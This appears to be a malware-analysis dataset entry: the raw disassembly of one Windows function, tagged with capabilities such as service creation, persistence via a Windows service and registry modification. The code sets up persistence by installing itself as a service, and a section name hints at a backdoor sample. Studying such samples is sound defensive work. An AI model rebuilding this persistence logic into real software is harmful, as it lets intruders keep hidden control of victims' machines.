Function at 0x1000d920
Capabilities:
Create service
Get common file path
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x100152e4
call fcn.10015030
push ecx
mov eax, 0x1244
call fcn.10014f70
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push 0x1008e5f0
mov dword [ebp - 0x18], connect
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
call fcn.10003592
pop ecx
mov edx, 0xff
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x453]
mov byte [ebp - 0x454], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x1253]
mov byte [ebp - 0x1254], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x7f
mov byte [ebp - 0xc54], bl
stosb byte es:[edi], al
pop edx
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0xc53]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xa53]
mov byte [ebp - 0xa54], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xe53]
mov byte [ebp - 0xe54], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x853]
mov byte [ebp - 0x854], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x653]
mov byte [ebp - 0x654], bl
rep stosd dword es:[edi], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 4], ebx
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x10095260
cmp esi, ebx
mov dword [ebp - 0x1c], edi
je 0x1000da32
cmp byte [esi], bl
je 0x1000da32
push 0x20
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x1000da2f
mov byte [eax], bl
inc eax
push eax
lea eax, [ebp - 0x654]
push eax
mov dword [ebp - 0x1c], esi
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
jmp 0x1000da32
mov dword [ebp - 0x1c], esi
push dword [ebp - 0x1c]
lea eax, [ebp - 0x854]
push 0x1009524c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x18]
mov esi, 0x10095214
push eax
push 1
push ebx
push esi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x1000da8b
push eax
push esi
push 0x100951e8
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x1008e5f0
push 0x10016908
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x400
push eax
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x50]
push eax
push ebx
push 0x100951e0
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp - 0x14], ebx
je 0x1000dadf
lea eax, [ebp - 0x38]
push 0x10016908
push eax
mov dword [ebp - 0x38], 0x100951bc
call sub.MSVCRT.dll__CxxThrowException
lea esi, [ebp - 0x454]
cmp byte [esi], bl
je 0x1000db0c
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x1000db08
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
mov esi, eax
jmp 0x1000dae5
cmp byte [esi], bl
jne 0x1000db76
push 0x10095170
call fcn.10003592
pop ecx
lea esi, [ebp - 0x454]
cmp byte [esi], bl
je 0x1000db3c
push esi
push 0x10095168
call fcn.10003592
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 0x10
inc eax
mov esi, eax
jmp 0x1000db1d
push dword [ebp + 8]
lea eax, [ebp - 0x654]
push eax
call sub.MSVCRT.dll_strcpy
push edi
lea eax, [ebp - 0x854]
push 0x1009524c
push eax
mov dword [ebp - 0x1c], edi
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x654]
push eax
push edi
push 0x10095128
call fcn.10003592
add esp, 0x20
mov esi, 0xf003f
push esi
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 0x28], eax
jne 0x1000dba0
lea eax, [ebp - 0x48]
push 0x10016908
push eax
mov dword [ebp - 0x48], 0x10095118
call sub.MSVCRT.dll__CxxThrowException
push ebx
push ebx
mov edi, dword [ebp - 0x1c]
push ebx
push ebx
push ebx
push 0x100950e8
push 1
push 2
push 0x120
lea ecx, [ebp - 0x854]
push 0xf01ff
push ecx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
mov dword [ebp - 0x24], eax
jne 0x1000dbfe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push 0x100950cc
mov dword [ebp - 0x14], eax
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x1008e5f0
push 0x10016908
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x654]
push eax
push edi
call fcn.1000d8a8
lea eax, [ebp - 0x654]
push eax
push edi
push 0x10095090
call fcn.10003592
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esp, 0x14
push dword [ebp - 0x24]
call edi
push dword [ebp - 0x28]
call edi
push 0x400
lea eax, [ebp - 0x454]
push 0x1009412c
push eax
mov dword [ebp - 0x18], connect
call dword [sym.imp.MSVCRT.dll_strncpy]
push 0x64
lea eax, [ebp - 0x454]
push dword [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x454]
push ebx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x1000dca6
push eax
push dword [ebp - 0x1c]
push 0x10095064
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x1008e5f0
push 0x10016908
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x20]
push eax
push 0x10095058
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetLastError]
push eax
mov dword [ebp - 0x14], eax
call esi
cmp dword [ebp - 0x14], ebx
je 0x1000dcde
lea eax, [ebp - 0x3c]
push 0x10016908
push eax
mov dword [ebp - 0x3c], 0x1009503c
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x454]
push 0x400
push eax
push dword [section.xdoors_d]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000dd0f
lea eax, [ebp - 0x44]
push 0x10016908
push eax
mov dword [ebp - 0x44], 0x10094d30
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x1254]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x1254]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x10
cmp eax, ebx
je 0x1000dd4a
mov byte [eax], bl
inc eax
push eax
lea eax, [ebp - 0xe54]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0xc54]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0xa54]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0xa54]
push eax
lea eax, [ebp - 0xc54]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x1000ddc0
push 0x400
lea eax, [ebp - 0x454]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x454]
push 0x10095024
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xe54]
push eax
lea eax, [ebp - 0x454]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x1c
lea eax, [ebp - 0x454]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x454]
push eax
push 2
push ebx
push 0x100940ec
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
mov dword [ebp - 0x14], eax
call esi
cmp dword [ebp - 0x14], ebx
je 0x1000de5a
lea eax, [ebp - 0x4c]
push 0x10016908
push eax
mov dword [ebp - 0x4c], 0x10095008
call sub.MSVCRT.dll__CxxThrowException
mov esi, dword [ebp - 0x54]
xor ebx, ebx
cmp esi, ebx
je 0x1000de54
cmp byte [esi], bl
je 0x1000de54
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push 0x10094ffc
mov dword [ebp - 0x14], eax
call fcn.10003592
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0xc
push dword [ebp - 0x18]
call esi
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x24]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x28]
call esi
mov eax, 0x1000deaf
ret
mov eax, 0x1000de7f
ret
push dword [ebp - 0x1c]
push 0x10094fe4
call fcn.10003592
push dword [ebp - 0x1c]
call fcn.1000c564
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000de85
push dword [ebp - 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x24]
call edi
push dword [ebp - 0x28]
call edi
push 0x10094fdc
call fcn.1000c469
pop ecx
call fcn.1000c3ba
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret